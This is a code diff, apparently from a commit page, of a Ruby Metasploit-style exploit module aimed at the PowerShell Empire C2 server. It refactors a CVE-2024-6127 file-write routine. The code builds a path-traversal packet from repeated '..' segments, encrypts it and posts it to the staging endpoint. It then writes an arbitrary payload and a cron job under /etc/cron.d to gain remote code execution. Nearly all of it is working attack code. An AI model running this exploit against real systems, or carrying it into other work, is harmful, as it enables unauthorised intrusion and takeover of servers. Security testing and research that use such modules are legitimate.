@@ -288,30 +288,6 @@ def exploit
288
288
} )
289
289
aes_decrypt ( session_key , res . body )
290
290
291
- def write_file ( path , data , session_id , session_key , staging_key )
292
- path = path . split ( "/" ) . join ( "\\ " )
293
- encodedPart = compress ( data )
294
- packet = build_response_packet (
295
- TASK_DOWNLOAD ,
296
- [
297
- '0' ,
298
- Array . new ( 50 , '..' ) . join ( '\\' ) + path ,
299
- data . length . to_s ,
300
- compress ( data )
301
- ] . join ( '|' )
302
- )
303
- enc_packet = aes_encrypt_then_hmac ( session_key , packet )
304
- data = build_routing_packet ( staging_key , RESULT_POST , enc_packet , session_id )
305
-
306
- res = send_request_cgi ( {
307
- 'data' => data ,
308
- 'method' => 'POST' ,
309
- 'uri' => normalize_uri ( target_uri . path , datastore [ 'STAGE_PATH' ] ) ,
310
- 'headers' => { 'Cookie' => datastore [ 'AGENT' ] }
311
- } )
312
- res
313
- end
314
- fifth_arg = staging_key
315
291
log_path = "/var/lib/powershell-empire/empire/server/downloads/#{ session_id } /agent.log"
316
292
317
293
else
@@ -334,7 +310,6 @@ def write_file(path, data, session_id, session_key, staging_key)
334
310
server_epoch = body [ 0 ..9 ] . to_i
335
311
session_key = body [ 10 ..-1 ]
336
312
print_good ( 'Successfully negotiated an artificial Empire agent' )
337
- fifth_arg = server_epoch
338
313
log_path = '/agent.log'
339
314
340
315
end
@@ -354,12 +329,20 @@ def write_file(path, data, session_id, session_key, staging_key)
354
329
end
355
330
356
331
print_status ( "Writing payload to #{ payload_path } " )
357
- write_file ( payload_path , payload_data , session_id , session_key , fifth_arg )
332
+ if datastore [ 'CVE' ] == 'CVE-2024-6127'
333
+ write_file_cve_2024_6127 ( payload_path , payload_data , session_id , session_key , staging_key )
334
+ else
335
+ write_file ( payload_path , payload_data , session_id , session_key , server_epoch )
336
+ end
358
337
359
338
cron_path = '/etc/cron.d/' + rand_text_alpha ( 8 )
360
339
print_status ( "Writing cron job to #{ cron_path } " )
361
340
362
- write_file ( cron_path , cron_file ( cron_command ) , session_id , session_key , fifth_arg )
341
+ if datastore [ 'CVE' ] == 'CVE-2024-6127'
342
+ write_file_cve_2024_6127 ( cron_path , cron_file ( cron_command ) , session_id , session_key , staging_key )
343
+ else
344
+ write_file ( cron_path , cron_file ( cron_command ) , session_id , session_key , server_epoch )
345
+ end
363
346
print_status ( "Waiting for cron job to run, can take up to 60 seconds" )
364
347
365
348
register_files_for_cleanup ( cron_path )
@@ -431,4 +414,28 @@ def to_bytes(n, length=1, byteorder='big', signed=false)
431
414
bytes_array . pack ( 'C*' )
432
415
end
433
416
417
+ def write_file_cve_2024_6127 ( path , data , session_id , session_key , staging_key )
418
+ path = path . split ( "/" ) . join ( "\\ " )
419
+ encodedPart = compress ( data )
420
+ packet = build_response_packet (
421
+ TASK_DOWNLOAD ,
422
+ [
423
+ '0' ,
424
+ Array . new ( 50 , '..' ) . join ( '\\' ) + path ,
425
+ data . length . to_s ,
426
+ compress ( data )
427
+ ] . join ( '|' )
428
+ )
429
+ enc_packet = aes_encrypt_then_hmac ( session_key , packet )
430
+ data = build_routing_packet ( staging_key , RESULT_POST , enc_packet , session_id )
431
+
432
+ res = send_request_cgi ( {
433
+ 'data' => data ,
434
+ 'method' => 'POST' ,
435
+ 'uri' => normalize_uri ( target_uri . path , datastore [ 'STAGE_PATH' ] ) ,
436
+ 'headers' => { 'Cookie' => datastore [ 'AGENT' ] }
437
+ } )
438
+ res
439
+ end
440
+
434
441
end
0 commit comments